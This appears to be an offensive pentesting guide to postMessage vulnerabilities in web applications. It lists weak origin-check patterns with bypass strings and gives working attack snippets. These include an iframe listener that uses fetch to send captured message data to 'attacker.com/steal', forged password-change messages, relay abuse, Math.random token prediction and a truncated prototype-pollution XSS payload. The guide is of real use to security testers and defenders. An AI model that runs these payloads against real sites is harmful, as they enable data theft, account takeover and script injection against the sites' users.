PostMessage Vulnerabilities
A comprehensive guide to identifying and exploiting postMessage vulnerabilities in web applications.
Quick Start
- Enumerate postMessage listeners on the target page
- Identify weak origin validation patterns
- Test for common bypass techniques
- Exploit based on the vulnerability type found
Enumeration
Find Event Listeners
Method 1: Search JavaScript files
grep -r "addEventListener.*message" /path/to/js/
grep -r "\$\(window\).on.*message" /path/to/js/
Method 2: Browser DevTools
// In console
getEventListeners(window)
Method 3: DevTools UI
- Go to Elements → Event Listeners tab
- Look for
messageevent handlers
Method 4: Browser Extensions
These intercept and display all postMessage traffic.
Common Vulnerability Patterns
1. Wildcard Target Origin
Vulnerable code:
window.postMessage('sensitive data', '*')
Exploit: If the page can be iframed (no X-Frame-Options), you can:
- Create an iframe pointing to the victim page
- Listen for messages with
window.addEventListener('message', handler) - Receive all messages sent with
*target origin
Attack vector:
<iframe src="https://victim.com/sensitive-page"></iframe>
<script>
window.addEventListener('message', (e) => {
console.log('Stolen:', e.data);
fetch('https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(e.data)));
});
</script>
2. Missing Origin Validation
Vulnerable code:
window.addEventListener('message', (e) => {
// No origin check!
processSensitiveData(e.data);
});
Exploit: Send arbitrary messages from any origin:
const victimWindow = window.open('https://victim.com/');
victimWindow.postMessage({
action: 'changePassword',
newPassword: 'attacker-controlled'
}, '*');
3. Weak Origin Validation
indexOf() bypass:
// Vulnerable
if (event.origin.indexOf('https://trusted.com') !== -1) {
// ...
}
// Bypass with: https://attacker-trusted.com.evil.com
search() bypass:
// Vulnerable - treats string as regex
if (event.origin.search('trusted.com') !== -1) {
// ...
}
// Bypass with: trustedXcom (X matches any char in regex)
match() bypass:
// Vulnerable
if (event.origin.match(/trusted\.com/)) {
// ...
}
// Bypass with: trusted.com.evil.com (matches the pattern)
4. e.origin == window.origin Bypass
Scenario: Sandboxed iframes with allow-popups but not allow-popups-to-escape-sandbox
Exploit: Both iframe and popup have null origin:
// In sandboxed iframe
const popup = window.open('https://attacker.com/');
// e.origin === null, window.origin === null
// So e.origin == window.origin evaluates to true
5. e.source Bypass
Vulnerable check:
if (received_message.source !== window) {
return;
}
Bypass: Create and immediately delete an iframe:
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
iframe.contentWindow.postMessage('data', '*');
document.body.removeChild(iframe);
// e.source is now null
Advanced Attack Patterns
Origin-Derived Script Loading
Pattern: SDK stores event.origin and uses it to load scripts
Exploit:
- Send postMessage from attacker origin
- SDK stores attacker origin in localStorage
- SDK loads script from attacker origin
- Attacker JS runs in victim context
Example (CAPIG case study):
// Attacker sends
window.postMessage({
msg_type: 'IWL_BOOTSTRAP',
pixel_id: '12345'
}, '*');
// SDK stores event.origin and later loads:
// ${event.origin}/sdk/${pixel_id}/iwl.js
Trusted Relay Abuse
Pattern: Trusted origin has endpoints that forward URL params via postMessage
Exploit:
- Find relay endpoint on trusted origin (e.g.,
/preview?msg=...) - Navigate attacker-controlled window to relay with crafted params
- Relay sends postMessage from trusted origin
- Victim listener accepts it (origin check passes)
Example:
// Attacker page
const relay = window.open('https://trusted.com/relay?msg_type=ADMIN_ACTION&token=STOLEN');
// Relay sends postMessage from trusted.com origin
// Victim accepts it
Math.random() Token Prediction
Pattern: Callback tokens generated with Math.random()
Exploit:
- Leak PRNG outputs via
window.nameon plugin iframes - Use V8 predictor (e.g., v8-randomness-predictor)
- Predict next callback token
- Forge trusted messages
Example:
// Leaked iframe name: "f7a3b2c1d4e5"
// Convert back to float, feed to predictor
// Get next predictedFloat
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "");
// Use callback in forged message
Prototype Pollution via postMessage
Pattern: postMessage data merged into objects without sanitization
Exploit:
const victim = window.open('https://victim.com/iframe');
victim.postMessage({
'__proto__': {
'isAdmin': true,
'username': '<img src=x
}
}, '*');
Testing Checklist
- Can the page be iframed? (Check X-Frame-Options, Content-Security-Policy)
- Are there postMessage listeners? (Use enumeration methods above)
- Do listeners validate event.origin?
- Is validation using indexOf/search/match? (Weak patterns)
- Is targetOrigin set to '*'?
- Are there third-party SDKs with postMessage handlers?
- Can you find relay endpoints on trusted origins?
- Are callback tokens predictable?
Tools
- Posta: https://github.com/benso-io/posta
- postMessage-tracker: https://github.com/fransr/postMessage-tracker
- V8 Randomness Predictor: https://github.com/PwnFunction/v8-randomness-predictor
- EventListener XSS Recon: https://github.com/yavolo/eventlistener-xss-recon